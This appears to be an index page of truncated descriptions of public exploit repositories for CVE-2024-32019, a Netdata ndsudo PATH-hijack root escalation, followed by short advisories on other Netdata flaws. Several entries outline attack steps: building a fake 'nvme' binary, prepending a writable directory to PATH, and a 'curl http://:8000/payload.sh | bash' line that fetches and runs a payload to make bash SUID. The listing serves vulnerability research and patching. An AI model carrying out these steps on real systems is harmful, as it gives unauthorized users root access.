CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

🚨 CVE-2024-32019 - Netdata ndsudo PATH脆弱性エクスプロイト（LPE to Root） Netdata Agent における高深刻度のローカル権限昇格脆弱性 CVE-2024-32019 に対するPythonベースのエクスプロイトです。PATH 環境変数を安全に処理できない、設定ミスのあるSUIDバイナリ（ndsudo）を悪用します。 !Caution このコードは教育目的および承認されたテスト目的のみ です。あなたが所有していない、または明示的な許可を得ていないシステムに対してこのツールを不正に使用することは違法 です。 🔍 概要 CVE ID :...

CVE-2024-32019-POC

⚠️ CVE-2024-32019 - 概念验证 📌 受影响版本 = v1.45.0, = v1.44.0-60, v1.45.0-169 🛠️ 概念验证 CVE-2024-32019 — ndsudo 本地权限提升通过不受信任的搜索路径 。 🔧 编译漏洞利用代码 x8664-linux-gnu-gcc -o nvme exploit.c -static 📤 部署到目标机器 1. 将编译好的二进制文件 传输到易受攻击的机器上。 2. 使其可执行： chmod +x nvme 3. 通过 PATH 操纵利用易受攻击的二进制文件（使用你上传二进制文件的相同路径）： PATH=$pwd:$PATH...

CVE-2024-32019-Netdata-ndsudo-Privilege-Escalation-PoC

CVE-2024-32019 Netdata ndsudo 権限昇格 PoC 概要 CVE-2024-32019 は、Netdata の SUID ヘルパー ndsudo におけるローカル権限昇格の脆弱性で、信頼されていない検索パス（PATH ハイジャック）を介して、ローカルユーザーが任意のプログラムを root として実行できるようにします。 問題は、ndsudo がコマンド名を制限するものの、呼び出し元の PATH を使用して解決するため、ユーザーが悪意のあるバイナリを PATH の先頭に配置し、ndsudo に root 権限で実行させることができるという点にあります。...

CVE-2024-32019-POC

ndsudo を介した権限昇格 Netdata ローカルエクスプロイト このPOCは、Netdataにバンドルされている脆弱な ndsudo ユーティリティを悪用して、ローカル権限をrootに昇格させるために使用されます。このエクスプロイトは、ユーザーの PATH に悪意のあるバイナリを注入し、それが信頼されたコマンド nvme を装って ndsudo によってroot権限で実行される仕組みです。 前提条件と仮定 ターゲットシステム上でローカルシェルアクセス があること。 次のコマンドを実行できるが、「not found」または類似のエラーで失敗すること： ./ndsudo...

CVE-2024-32019-POC

CVE-2024-32019-POC Netdata ndsudo ローカル特権昇格ワークフローと POC（CVE-2024-32019） ワークフロー 自動エクスプロイト リソース ワークフロー !TIP お読みください Netdata は、アプリケーションやシステムの監視を提供するツールです。ポート 19999 で実行されるため、簡単に見つけられます: test@test:$ netstat -tuln Active Internet connections only servers Proto Recv-Q Send-Q Local Address Foreign Address...

CVE-2024-32019_poc

ndsudo を利用した権限昇格 Netdata ローカルエクスプロイト これは、Netdata にバンドルされている脆弱な ndsudo ユーティリティを悪用してローカル権限昇格を実行するための代替 PoC です。このエクスプロイトは、スクリプトをユーザーの PATH 内に追加し、許可されたコマンド nvme を ndsudo で置き換えて root として実行することで動作します。 前提条件と仮定 📜 ターゲットシステム上での ローカルシェルアクセス ターゲットマシン上の Python3 ndsudo コマンドを実行できる可能性 手順 1. スクリプト 🔨...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC バイナリをビルド: go build -ldflags "-s -w" -o nvme poc.go upx nvme bashスクリプトを実行: bash exploit.sh ターゲットマシンで書き込み可能なディレクトリで実行: curl http://:8000/payload.sh | bash これにより、nvmeバイナリが自動的にダウンロードされ、パスがエクスポートされ、ndsudoが実行され、/bin/bashにSUID が追加されます。...

cve-2024-32019-PoC

CVE-2024-32019 — Netdata ndsudo ローカル権限昇格 概要 Netdata の ndsudo ヘルパー（setuid root でインストールされる）は、実行するコマンドを制限しているが、呼び出し元のPATH を使用してそれらのコマンドを解決する。影響を受けるバージョンでは、ローカルユーザーが PATH のより前方に悪意のあるバイナリを配置することで、ndsudo にそれを root 権限で実行させることができる。Netdata 1.45.3 および 1.45.0-169 で修正済み。 影響を受けるバージョン / 修正済みバージョン 影響を受ける: =...

CVE-2024-32019-PoC

CVE-2024-32019-PoC 「ndsudo」を利用した権限昇格のためのBashスクリプト（Netdata Local Exploit） 影響を受けるNetdataのバージョン = v1.45.0, = v1.44.0-60, v1.45.0-169 脆弱性の説明 「ndsudo」ツールは外部コマンドの限定されたセットを実行しますが、検索パスは「PATH」環境変数によって提供されます。 「PATH」環境変数をアクセス可能なパスに変更することで、ndsudoがコマンドを検索する場所を制御し、悪意のあるコードを含むコマンドを作成できます。 概念実証...

CVE-2024-32019-ndsudo-local-privilege-escalation-NetData

CVE-2024-32019 概念実証（Python） Netdata （CVE-2024-32019）に対するローカル権限昇格（LPE）エクスプロイトのPython実装です。 このスクリプトは、ndsudo コンポーネントの脆弱性を悪用します。この脆弱性では、PATH 環境変数が適切にサニタイズされていません。そのため、ローカルの攻撃者が許可されたバイナリ（nvme-list、ip、gem など）をハイジャックすることで、root として任意のコマンドを実行できます（コード冒頭で必要に応じて変更してください）。 ⚠️ 免責事項 教育目的のみに使用してください。...

CVE-2024-32019-ndsudo

ndsudoの脆弱性により、攻撃者はNetdata Agentの一部であるndsudoツールにおける信頼されていない検索パスを悪用して、root権限を取得できます。これは、攻撃者が書き込み可能なディレクトリに悪意のあるバイナリを配置し、PATH環境変数を適宜変更した場合に、権限昇格された任意のプログラムの実行を可能にします。 CVE-2024-32019として識別されるndsudoの脆弱性は、Netdata Agentに含まれるndsudoツールのバージョンv1.45.0以下に影響します。この脆弱性により、攻撃者はツールがインストールされたシステム上で権限を昇格させることができます。...

-Netdata-PrivEsc-CVE-2024-32019

CVE-2024-32019-Netdata-ndsudo-PrivEsc CVE-2024-32019: Netdata ndsudo PrivEsc HTB Editor Bashで自動化されたスクリプトで、NetdataのSUIDバイナリndsudoにおけるPATH Hijacking 脆弱性（CVE-2024-32019）を悪用します。このエクスプロイトは、強化された環境（Hack The BoxのEditorマシンなど）で見られる一般的な制限を回避するために特別に適応されています。 🎓 教育に関する免責事項...

CVE-2023-22496-PoC

CVE-2023-22496 — Netdata Agent OS コマンドインジェクション PoC 重要度 : 重大 CVSS 9.8 影響を受けるバージョン : Netdata Agent 修正版 : v1.37.0 種類 : OS コマンドインジェクション CWE-78 概要 CVE-2023-22496 は、Netdata のヘルスアラート通知システムにおける OS コマンドインジェクションの脆弱性です。ストリーミングチェーン内の任意のノードの registryhostname がサニタイズされずにシェルコマンドに挿入されます。Netdata の設定ファイルで registry...

SUSE CVE-2026-83600

Netdata is an open source observability tool. Prior to 2.10.4, an authenticated child agent can send an oversized CHART SLOT value that str2ullencoded passes to pluginsdrrdsetcacheputtoslot in src/plugins.d/pluginsdinternals.h. The accepted slot drives reallocz to request an approximately 16 GiB...

SUSE CVE-2026-83602

Netdata is an open source observability tool. From 2.0.0 until 2.11.0, Netdata registers /api/v3/settings in src/web/api/v3/webapiv3.c with HTTPACLNOCHECK and HTTPACCESSANONYMOUSDATA, causing unauthenticated PUT requests handled by src/web/api/v3/apiv3settings.c to bypass operator-configured allo...

CVE-2026-83602

A flaw was found in Netdata, an open-source observability tool. An unauthenticated remote attacker can bypass IP allowlist restrictions by sending PUT requests to the /api/v3/settings endpoint. This allows the attacker to write arbitrary data to a settings file, potentially leading to a Denial of...

CVE-2026-83601

A flaw was found in Netdata. An authenticated child agent can send an oversized DIMENSION SLOT value. This oversized value can lead to an integer overflow during memory allocation, causing a subsequent write operation to go beyond the allocated buffer. This out-of-bounds write can crash the paren...

CVE-2026-83600

A flaw was found in Netdata. An authenticated child agent can send an oversized chart slot value, leading to an attempt to allocate a very large memory array. This allocation failure causes the parent Netdata agent to crash, resulting in a Denial of Service DoS by repeatedly disabling centralized...

CVE-2026-83599

A flaw was found in Netdata. An unauthenticated remote attacker can exploit a vulnerability in the WebSocket server's decompression mechanism. By sending small, highly compressed messages, the attacker can cause the server to allocate excessive amounts of memory. This can lead to the exhaustion o...

CVE-2026-83603

A flaw was found in Netdata. The ndsudo helper command, which operates with root privileges, can be exploited by a low-privileged Netdata service account. This account can direct the root fail2ban-client to a malicious UNIX socket. Consequently, attacker-controlled code can be executed with root...